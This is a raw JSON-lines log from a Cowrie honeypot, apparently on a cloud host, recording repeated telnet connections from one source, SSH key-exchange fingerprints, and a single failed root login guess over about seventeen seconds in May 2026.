{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:53.755406Z","src_ip":"213.209.159.158","session":"c6e0c855f233","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37460,"dst_ip":"159.203.135.109","dst_port":23,"session":"b084807e7234","protocol":"telnet","message":"New connection: 162.55.233.176:37460 (159.203.135.109:23) [session: b084807e7234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:53.763478Z"}
{"eventid":"cowrie.session.closed","duration":38.37582206726074,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:53.946370Z","src_ip":"162.55.233.176","session":"dc88d64b2fcd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.08337330818176,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:54.505871Z","src_ip":"162.55.233.176","session":"4827dace274c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.880902767181396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:54.781148Z","src_ip":"162.55.233.176","session":"c26c2ad73dc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.5222744941711426,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:54.822989Z","src_ip":"188.208.141.113","session":"752cffdac129","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.31098175048828,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:55.472268Z","src_ip":"162.55.233.176","session":"56ec3a413eb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.163394689559937,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:55.684692Z","src_ip":"162.55.233.176","session":"8d6d0563ef5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.612932443618774,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:55.818166Z","src_ip":"162.55.233.176","session":"091c3346449c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37464,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ac30812be09","protocol":"telnet","message":"New connection: 162.55.233.176:37464 (159.203.135.109:23) [session: 8ac30812be09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:55.984068Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37476,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1ffea5a6bd4","protocol":"telnet","message":"New connection: 162.55.233.176:37476 (159.203.135.109:23) [session: b1ffea5a6bd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:56.077780Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37486,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea7588352238","protocol":"telnet","message":"New connection: 162.55.233.176:37486 (159.203.135.109:23) [session: ea7588352238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:56.260421Z"}
{"eventid":"cowrie.session.closed","duration":31.613532781600952,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:56.843845Z","src_ip":"162.55.233.176","session":"b2562a6e1bcb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37494,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bee510ac17c","protocol":"telnet","message":"New connection: 162.55.233.176:37494 (159.203.135.109:23) [session: 5bee510ac17c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:56.881551Z"}
{"eventid":"cowrie.session.closed","duration":31.289307117462158,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:56.970557Z","src_ip":"162.55.233.176","session":"6affa4371532","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37508,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bd82633efef","protocol":"telnet","message":"New connection: 162.55.233.176:37508 (159.203.135.109:23) [session: 4bd82633efef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:57.097940Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37514,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8ac2422e0c1","protocol":"telnet","message":"New connection: 162.55.233.176:37514 (159.203.135.109:23) [session: d8ac2422e0c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:57.703548Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37522,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c6164598f8f","protocol":"telnet","message":"New connection: 162.55.233.176:37522 (159.203.135.109:23) [session: 7c6164598f8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:57.723859Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37536,"dst_ip":"159.203.135.109","dst_port":23,"session":"e751bbda5c37","protocol":"telnet","message":"New connection: 162.55.233.176:37536 (159.203.135.109:23) [session: e751bbda5c37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:57.816738Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36636,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f0ac6a62035","protocol":"telnet","message":"New connection: 188.208.141.113:36636 (10.17.0.5:23) [session: 6f0ac6a62035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:58.202207Z"}
{"eventid":"cowrie.session.closed","duration":30.39089608192444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:58.218055Z","src_ip":"162.55.233.176","session":"fc3e33115254","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37550,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ac9afcaf93b","protocol":"telnet","message":"New connection: 162.55.233.176:37550 (159.203.135.109:23) [session: 0ac9afcaf93b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:58.336421Z"}
{"eventid":"cowrie.session.closed","duration":36.519713401794434,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:58.585210Z","src_ip":"162.55.233.176","session":"fd0a249a82e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.620532512664795,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:58.735008Z","src_ip":"162.55.233.176","session":"2545dae4f0bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.308709144592285,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:59.570763Z","src_ip":"162.55.233.176","session":"13ac6fdff797","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.482210874557495,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:59.956423Z","src_ip":"162.55.233.176","session":"871a2e408703","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37554,"dst_ip":"159.203.135.109","dst_port":23,"session":"96fd1c144591","protocol":"telnet","message":"New connection: 162.55.233.176:37554 (159.203.135.109:23) [session: 96fd1c144591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:00.029382Z"}
{"eventid":"cowrie.session.closed","duration":31.271785259246826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:00.505880Z","src_ip":"162.55.233.176","session":"35c3d7bee3b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.118178606033325,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:00.748250Z","src_ip":"162.55.233.176","session":"b1853fde2b31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.4121572971344,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:01.066794Z","src_ip":"162.55.233.176","session":"65fabd9710e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.389244556427002,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:01.161927Z","src_ip":"162.55.233.176","session":"661bd6eaff02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37568,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c270988d16c","protocol":"telnet","message":"New connection: 162.55.233.176:37568 (159.203.135.109:23) [session: 3c270988d16c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:01.735296Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37574,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e1414a14b24","protocol":"telnet","message":"New connection: 162.55.233.176:37574 (159.203.135.109:23) [session: 1e1414a14b24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:01.751127Z"}
{"eventid":"cowrie.session.closed","duration":32.75054621696472,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:02.017549Z","src_ip":"162.55.233.176","session":"ed815e451803","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"voyages","message":"login attempt [root/voyages] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:02.287589Z","src_ip":"213.209.159.158","session":"c6e0c855f233","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37582,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfbfd003497c","protocol":"telnet","message":"New connection: 162.55.233.176:37582 (159.203.135.109:23) [session: cfbfd003497c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:02.394047Z"}
{"eventid":"cowrie.session.closed","duration":30.751189947128296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:02.589524Z","src_ip":"162.55.233.176","session":"8f21bcd386e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37596,"dst_ip":"159.203.135.109","dst_port":23,"session":"35e0c09457fa","protocol":"telnet","message":"New connection: 162.55.233.176:37596 (159.203.135.109:23) [session: 35e0c09457fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:02.698400Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":59866,"dst_ip":"10.17.0.5","dst_port":23,"session":"1041519892b0","protocol":"telnet","message":"New connection: 206.189.32.23:59866 (10.17.0.5:23) [session: 1041519892b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:02.740459Z"}
{"eventid":"cowrie.session.closed","duration":32.97264647483826,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:02.952760Z","src_ip":"162.55.233.176","session":"41ab44dfd75d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28506302833557,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:02.990499Z","src_ip":"162.55.233.176","session":"265fab160cdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.49476456642151,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:03.110067Z","src_ip":"162.55.233.176","session":"57ff93eb82b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38970,"dst_ip":"159.203.135.109","dst_port":23,"session":"b928d7d97f0f","protocol":"telnet","message":"New connection: 162.55.233.176:38970 (159.203.135.109:23) [session: b928d7d97f0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:03.209096Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38976,"dst_ip":"159.203.135.109","dst_port":23,"session":"8199e18bf61a","protocol":"telnet","message":"New connection: 162.55.233.176:38976 (159.203.135.109:23) [session: 8199e18bf61a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:03.383201Z"}
{"eventid":"cowrie.session.closed","duration":31.557692766189575,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:03.388538Z","src_ip":"162.55.233.176","session":"45d5b00ce7af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38980,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d8d3dedf3cb","protocol":"telnet","message":"New connection: 162.55.233.176:38980 (159.203.135.109:23) [session: 1d8d3dedf3cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:03.443185Z"}
{"eventid":"cowrie.session.closed","duration":35.59403324127197,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:03.518838Z","src_ip":"162.55.233.176","session":"33fb58599290","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.59272336959839,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:03.764039Z","src_ip":"162.55.233.176","session":"417f0a8e132f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":34654,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fc513952073","protocol":"telnet","message":"New connection: 69.65.3.189:34654 (10.17.0.5:23) [session: 1fc513952073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:04.047312Z"}
{"eventid":"cowrie.session.closed","duration":34.98207497596741,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:04.125009Z","src_ip":"162.55.233.176","session":"f47210cb6e61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38984,"dst_ip":"159.203.135.109","dst_port":23,"session":"17cafff79f2f","protocol":"telnet","message":"New connection: 162.55.233.176:38984 (159.203.135.109:23) [session: 17cafff79f2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:04.141545Z"}
{"eventid":"cowrie.session.closed","duration":37.314733266830444,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:04.594208Z","src_ip":"162.55.233.176","session":"9a70564d887c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.429872751235962,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:04.655413Z","src_ip":"162.55.233.176","session":"ca4b29f34bdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.765785217285156,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:04.728257Z","src_ip":"162.55.233.176","session":"e1af54b3e3d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38994,"dst_ip":"159.203.135.109","dst_port":23,"session":"903169ecad72","protocol":"telnet","message":"New connection: 162.55.233.176:38994 (159.203.135.109:23) [session: 903169ecad72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:04.889385Z"}
{"eventid":"cowrie.session.closed","duration":31.197877407073975,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:04.895772Z","src_ip":"162.55.233.176","session":"d2e9b73a67f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"13.0","message":"Connection lost after 13.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:05.165227Z","src_ip":"213.209.159.158","session":"c6e0c855f233","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":21956,"dst_ip":"10.17.0.5","dst_port":22,"session":"a370b81cc668","protocol":"ssh","message":"New connection: 213.209.159.158:21956 (10.17.0.5:22) [session: a370b81cc668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:05.254094Z"}
{"eventid":"cowrie.session.closed","duration":32.29983448982239,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:05.346529Z","src_ip":"162.55.233.176","session":"2ba8a125e078","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38998,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbd90ae4887f","protocol":"telnet","message":"New connection: 162.55.233.176:38998 (159.203.135.109:23) [session: fbd90ae4887f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:05.973473Z"}
{"eventid":"cowrie.session.closed","duration":34.57380533218384,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:06.013060Z","src_ip":"162.55.233.176","session":"c0281442d8f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.092194318771362,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:06.461159Z","src_ip":"162.55.233.176","session":"5f015c4c4c57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39010,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7093753c734","protocol":"telnet","message":"New connection: 162.55.233.176:39010 (159.203.135.109:23) [session: a7093753c734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:06.493865Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39026,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfe9a5e1b930","protocol":"telnet","message":"New connection: 162.55.233.176:39026 (159.203.135.109:23) [session: dfe9a5e1b930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:06.681837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:07.250536Z","src_ip":"213.209.159.158","session":"a370b81cc668","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:07.253994Z","src_ip":"213.209.159.158","session":"a370b81cc668","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.94784879684448,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:07.637679Z","src_ip":"162.55.233.176","session":"8456c3d7584f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.926323175430298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:07.805984Z","src_ip":"162.55.233.176","session":"3be23e9510a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39034,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f5004983b66","protocol":"telnet","message":"New connection: 162.55.233.176:39034 (159.203.135.109:23) [session: 1f5004983b66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:08.059440Z"}
{"eventid":"cowrie.session.closed","duration":5.360692739486694,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:09.502132Z","src_ip":"162.55.233.176","session":"17cafff79f2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.45008444786072,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:09.834842Z","src_ip":"162.55.233.176","session":"626176ac9e04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39044,"dst_ip":"159.203.135.109","dst_port":23,"session":"1787607fbd1b","protocol":"telnet","message":"New connection: 162.55.233.176:39044 (159.203.135.109:23) [session: 1787607fbd1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:10.002634Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39056,"dst_ip":"159.203.135.109","dst_port":23,"session":"7630cb5c7220","protocol":"telnet","message":"New connection: 162.55.233.176:39056 (159.203.135.109:23) [session: 7630cb5c7220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:10.433955Z"}
{"eventid":"cowrie.session.closed","duration":32.29160976409912,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:10.554392Z","src_ip":"162.55.233.176","session":"37517c08cb5e","protocol":"telnet"}
